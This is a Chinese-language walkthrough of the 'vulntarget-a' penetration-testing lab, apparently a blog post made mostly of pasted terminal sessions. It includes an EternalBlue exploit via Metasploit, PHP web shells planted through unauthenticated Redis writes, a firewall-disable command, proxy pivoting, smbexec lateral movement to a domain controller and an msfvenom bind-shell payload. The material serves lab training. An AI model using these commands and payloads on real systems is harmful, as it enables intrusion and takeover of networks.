┌──(mikannse㉿kali)-[~] └─$ sudo nmap -sn 192.168.127.0/24 [sudo] password for mikannse: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-20 13:11 HKT Nmap scan report for 192.168.127.1 Host is up (0.00069s latency). MAC Address: 00:50:56:C0:00:01 (VMware) Nmap scan report for 192.168.127.3 Host is up (0.00052s latency). MAC Address: 00:0C:29:B3:DB:08 (VMware) Nmap scan report for 192.168.127.254 Host is up (0.0023s latency). MAC Address: 00:50:56:F1:28:E7 (VMware) Nmap scan report for 192.168.127.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 28.09 seconds
靶机IP为192.168.127.3
端口扫描
┌──(mikannse㉿kali)-[~/vulntarget/a] └─$ sudo ./fscan_386 -h 192.168.127.3 [sudo] password for mikannse:
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.2 start infoscan (icmp) Target 192.168.127.3 is alive [*] Icmp alive hosts len is: 1 192.168.127.3:135 open 192.168.127.3:445 open 192.168.127.3:139 open 192.168.127.3:80 open [*] alive ports len is: 4 start vulscan [*] NetInfo: [*]192.168.127.3 [->]win7-PC [->]10.0.20.98 [->]192.168.127.3 [+] 192.168.127.3 MS17-010 (Windows 7 Professional 7601 Service Pack 1) [*] WebTitle: http://192.168.127.3 code:200 len:10065 title:通达OA网络智能办公系统 [+] InfoScan:http://192.168.127.3 [通达OA] [+] http://192.168.127.3 tongda-user-session-disclosure 已完成 4/4 [*] 扫描结束,耗时: 8.185780028s
MS17_010
发现是一个永恒之蓝，直接msf一把梭
┌──(mikannse㉿kali)-[~/vulntarget/a] └─$ msfconsole -q msf6 > use exploit/windows/smb/ms17_010_eternalblue [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > options
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/do cs/using-metasploit/basics/using-metasploit.html RPORT 445 yes The target port (TCP) SMBDomain no (Optional) The Windows domain to use for authenticatio n. Only affects Windows Server 2008 R2, Windows 7, Win dows Embedded Standard 7 target machines. SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH trueyes Check if remote architecture matches exploit Target. O nly affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. VERIFY_TARGET trueyes Check if remote OS matches exploit Target. Only affect s Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
[*] Waiting for new connection... [*] Connection from node 192.168.127.3:50432 is set up successfully! Node id is 0 (admin) >> detail Node[0] -> IP: 192.168.127.3:50432 Hostname: win7-PC User: nt authority\system Memo:
(admin) >> use 0 (node 0) >> socks 8888 [*] Trying to listen on 0.0.0.0:8888...... [*] Waiting for agent's response...... [*] Socks start successfully!
proxychains中的配置文件更改之后，即可进行代理
横向移动
先进行一个端口扫描，由于这种套着代理的扫描不是很稳定，总之先后扫描出一个80一个6379
┌──(mikannse㉿kali)-[~/vulntarget/a] └─$ proxychains nmap --min-rate=10000 -p- 10.0.20.99 -Pn [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-20 14:08 HKT Nmap scan report for 10.0.20.99 Host is up (0.00092s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 6379/tcp open redis
Nmap done: 1 IP address (1 host up) scanned in 33.04 seconds
10.0.20.99:6379> config setdir"C:/phpStudy/PHPTutorial/WWW" OK 10.0.20.99:6379> config set dbfilename shell.php OK 10.0.20.99:6379> settest"<?php system($_GET['cmd']); ?>" OK
发现又是系统权限
┌──(mikannse㉿kali)-[~/vulntarget/a] └─$ proxychains curl 'http://10.0.20.99/shell.php?cmd=whoami' --output res [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0[proxychains] Dynamic chain ... 127.0.0.1:8888 ... 10.0.20.99:80 ... OK 100 108 100 108 0 0 2336 0 --:--:-- --:--:-- --:--:-- 2347 ┌──(mikannse㉿kali)-[~/vulntarget/a] └─$ cat res REDIS0007� redis-ver3.2.100� redis-bits�@�ctime��=gused-mem���testnt authority\system ��㋅����
双层内网上线
用蚁剑连接,记得设置代理
10.0.20.99:6379> config setdir"C:/phpStudy/PHPTutorial/www/" OK 10.0.20.99:6379> config set dbfilename shell1.php OK 10.0.20.99:6379> set x "<?php @eval($_POST[0]);?>" OK 10.0.20.99:6379> save OK
蚁剑连接上线，但这里因为两层内网，不方便直接上线,这里试试看用CS
开启客户端和服务端之后，先将第一台上线，然后右键可以利用第一台作为跳板机进行转发上线
先关闭一下windows的防火墙，两台都要
netsh advfirewall set allprofiles state off
然后蚁剑上传,触发后成功上线,ipconfig一下发现还有一张10.0.10.111的网卡
上传fscan扫描,发现一台.110
[11/20 20:57:16] [*] Tasked beacon to run: fscan64.exe -h 10.0.10.0/24 [11/20 20:57:16] [+] host called home, sent: 58 bytes [11/20 20:57:26] [+] received output:
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.2 start infoscan (icmp) Target 10.0.10.111 is alive (icmp) Target 10.0.10.110 is alive [*] Icmp alive hosts len is: 2 10.0.10.111:80 open 10.0.10.111:6379 open 10.0.10.111:445 open 10.0.10.111:139 open 10.0.10.110:135 open 10.0.10.111:135 open 10.0.10.110:88 open 10.0.10.110:445 open 10.0.10.110:139 open [*] alive ports len is: 9 start vulscan [*] NetBios: 10.0.10.110 [+]DC VULNTARGET\WIN2019 [*] NetInfo: [*]10.0.10.111 [->]win2016 [->]10.0.20.99 [->]10.0.10.111 [*] WebTitle: http://10.0.10.111 code:200 len:11 title:None [+] Redis:10.0.10.111:6379 unauthorized file:C:\Program Files\Redis/dump.rdb [*] NetInfo: [*]10.0.10.110 [->]win2019 [->]10.0.10.110
[proxychains] Dynamic chain ... 127.0.0.1:1090 ... 10.0.10.110:445 ... OK [*] Requesting shares on 10.0.10.110..... [*] Found writable share ADMIN$ [*] Uploading file OfQCvEnM.exe [*] Opening SVCManager on 10.0.10.110..... [*] Creating service gIAt on 10.0.10.110..... [*] Starting service gIAt..... [proxychains] Dynamic chain ... 127.0.0.1:1090 ... 10.0.10.110:445 ... OK [proxychains] Dynamic chain ... 127.0.0.1:1090 ... 10.0.10.110:445 ... OK [!] Press helpfor extra shell commands [proxychains] Dynamic chain ... 127.0.0.1:1090 ... 10.0.10.110:445 ... OK [-] Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec Microsoft Windows [�汾 10.0.17763.107]
[-] Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec (c) 2018 Microsoft Corporation����������Ȩ����
msf6 auxiliary(server/socks_proxy) > use post/windows/gather/arp_scanner msf6 post(windows/gather/arp_scanner) > set session 1 session => 1 msf6 post(windows/gather/arp_scanner) > set rhosts 10.0.20.1-254 rhosts => 10.0.20.1-254 msf6 post(windows/gather/arp_scanner) > run
[*] Running module against WIN7-PC [*] ARP Scanning 10.0.20.1-254 [+] IP: 10.0.20.1 MAC 00:50:56:c0:00:03 (VMware, Inc.) [+] IP: 10.0.20.98 MAC 00:0c:29:b3:db:12 (VMware, Inc.) [+] IP: 10.0.20.99 MAC 00:0c:29:49:db:32 (VMware, Inc.) [+] IP: 10.0.20.254 MAC 00:50:56:ee:90:e7 (VMware, Inc.) [*] Post module execution completed
可以用use auxiliary/scanner/portscan/tcp来进行端口扫描
生成正向shell，蚁剑上传
┌──(mikannse㉿kali)-[~/vulntarget/a] └─$ msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=444 -f exe > shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 499 bytes Final size of exe file: 7168 bytes
